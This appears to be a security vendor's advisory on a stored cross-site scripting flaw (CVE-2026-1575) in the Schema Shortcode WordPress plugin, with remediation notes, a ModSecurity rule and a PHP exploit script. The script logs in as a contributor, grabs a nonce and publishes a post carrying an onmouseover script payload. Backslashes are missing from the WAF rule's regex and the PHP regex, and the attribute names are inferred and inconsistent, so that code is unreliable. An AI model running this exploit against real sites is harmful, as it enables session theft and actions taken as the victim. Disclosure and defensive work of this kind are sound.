Atomic Edge analysis of CVE-2026-1575 (metadata-based):
The Schema Shortcode WordPress plugin version 1.0 contains an authenticated stored cross-site scripting vulnerability. The flaw exists within the plugin’s `itemscope` shortcode handler, allowing users with contributor-level permissions or higher to inject malicious scripts into page content.
Atomic Edge research infers the root cause is insufficient sanitization of user-supplied shortcode attributes before they are rendered on the page. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description indicates a lack of output escaping on user-supplied attributes. Without access to source code, this conclusion is based on the CWE classification and the standard WordPress shortcode processing pattern.
An attacker with contributor access can exploit this by creating or editing a post. They would insert the vulnerable shortcode with malicious JavaScript payloads embedded within its attributes. For example, `[itemscope custom_attribute=”alert(document.domain)”]` could be used. The payload would execute in the browsers of any user viewing the compromised post or page.
Effective remediation requires implementing proper output escaping for all shortcode attributes. The plugin should use WordPress core escaping functions like `esc_attr()` for attribute values and `wp_kses_post()` for any HTML output. Input validation should also be applied, restricting attributes to expected values where possible.
Successful exploitation leads to stored XSS. Attackers can steal session cookies, perform actions as the victim user, deface sites, or redirect users to malicious domains. The CVSS score of 6.4 reflects a medium severity with scope change, indicating the attack can impact users beyond the vulnerable component.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1575 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/post.php"
"id:20261575,phase:2,deny,status:403,chain,msg:'CVE-2026-1575 via Schema Shortcode plugin shortcode injection',severity:'CRITICAL',tag:'CVE-2026-1575',tag:'wordpress',tag:'xss'"
SecRule ARGS_POST:action "@streq editpost" "chain"
SecRule ARGS_POST:content "@rx [itemscope[^]]*?b(w+)=['"]?[^>]*?[s"']onw+s*=s*[^>]*?"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1575 - Schema Shortcode <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
$target_url = 'http://example.com/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload to inject via the itemscope shortcode attribute.
// Assumes the plugin does not escape the 'customattr' attribute value.
$malicious_shortcode = '[itemscope customattr="onmouseover=alert(document.domain)"]Test Content[/itemscope]';
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'http://example.com/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Step 2: Obtain a nonce for creating a new post.
// Assumes the standard WordPress post editor is used.
curl_setopt($ch, CURLOPT_URL, 'http://example.com/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce from the page (simplified pattern).
// In a real scenario, use a proper HTML parser.
preg_match('/"_wpnonce"s+value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
// Step 3: Create a new post containing the malicious shortcode.
// This targets the standard wp-admin/post.php endpoint.
curl_setopt($ch, CURLOPT_URL, 'http://example.com/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
'post_title' => 'XSS Test Post',
'content' => $malicious_shortcode,
'action' => 'editpost',
'post_type' => 'post',
'_wpnonce' => $nonce,
'publish' => 'Publish',
'post_status' => 'publish'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Check for success (simplified).
if (strpos($response, 'Post published.') !== false) {
echo "[+] Exploit likely succeeded. Visit the new post to trigger the XSS.n";
} else {
echo "[-] Exploit may have failed. Check authentication and nonce.n";
}
curl_close($ch);
?>
